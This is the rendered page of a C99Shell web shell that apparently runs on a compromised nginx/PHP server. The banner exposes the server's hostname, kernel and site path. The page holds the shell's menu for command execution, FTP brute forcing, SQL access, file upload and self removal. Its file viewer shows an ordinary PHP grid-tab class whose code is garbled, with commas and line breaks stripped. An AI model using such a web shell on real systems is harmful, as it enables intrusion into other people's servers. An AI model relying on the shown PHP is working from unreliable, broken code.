!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/data/classes/   drwxr-xr-x
Free 30.74 GB of 49.93 GB (61.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     wheretabs.php (3.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class WhereTabs
{
    protected static function &
getGridTabs($table)
    {
        global 
$strTableName;

        if(!
$table)
            
$tableName $strTableName;
        else
            
$tableName $table;

        if (
GetEntityType($tableName) === "")
            return 
false;

        
$pSet = new ProjectSettings($tableName);

        if(!
$pSet->isExistsTableKey(".arrGridTabs"))
            
$pSet->_tableData[".arrGridTabs"] = $pSet->getDefaultValueByKey("arrGridTabs");
        return 
$pSet->_tableData[".arrGridTabs"];
    }

    protected static function &
getGridTab($table$id)
    {
        
$gridTabs = &WhereTabs::getGridTabs($table);
        if (
$gridTabs === false)
            return 
false;

        foreach (
$gridTabs as &$tab) {
            if (
$tab["tabId"] == $id)
                return 
$tab;
        }
        return 
false;
    }

    public static function 
addTab($table$where$title$id)
    {
        
$gridTabs = &WhereTabs::getGridTabs($table);
        if (
$gridTabs === false)
            return 
false;

        foreach (
$gridTabs as $tab) {
            if (
$tab["tabId"] == $id)
                return 
false;
        }

        
$gridTabs[] = array(
            
'tabId' => $id,
            
'name' => $title,
            
'nameType' => "Text",
            
'where' => $where,
            
'showRowCount' => false,
            
'hideEmpty' => false,
        );

        return 
true;
    }

    public static function 
deleteTab($table$id)
    {
        
$gridTabs = &WhereTabs::getGridTabs($table);
        if (
$gridTabs === false)
            return 
false;

        foreach (
$gridTabs as $key => $tab) {
            if (
$tab["tabId"] == $id) {
                unset(
$gridTabs[$key]);
                break;
            }
        }
        return 
true;
    }

    public static function 
setTabTitle($table$id$title)
    {
        
$tab = &WhereTabs::getGridTab($table$id);

        if (
$tab) {
            
$tab['name'] = $title;
            
$tab['nameType'] = "Text";
            return 
true;
        }
        return 
false;
    }

    public static function 
setTabWhere($table$id$where)
    {
        
$tab = &WhereTabs::getGridTab($table$id);

        if (
$tab) {
            
$tab['where'] = $where;
            return 
true;
        }
        return 
false;
    }

    
/**
     * @param String table
     * @param String id
     * @param Boolean showIdCount
     */
    
public static function setTabShowCount($table$id$showCount)
    {
        
$tab = &WhereTabs::getGridTab($table$id);

        if (
$tab) {
            
$tab['showRowCount'] = $showCount 0;
            return 
true;
        }
        return 
false;
    }

    
/**
     * @param String table
     * @param String id
     * @param Boolean hideEmpty
     */
    
public static function setTabHideEmpty($table$id$hideEmpty)
    {
        
$tab = &WhereTabs::getGridTab($table$id);

        if (
$tab) {
            
$tab['hideEmpty'] = $hideEmpty 0;
            return 
true;
        }
        return 
false;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0014 ]--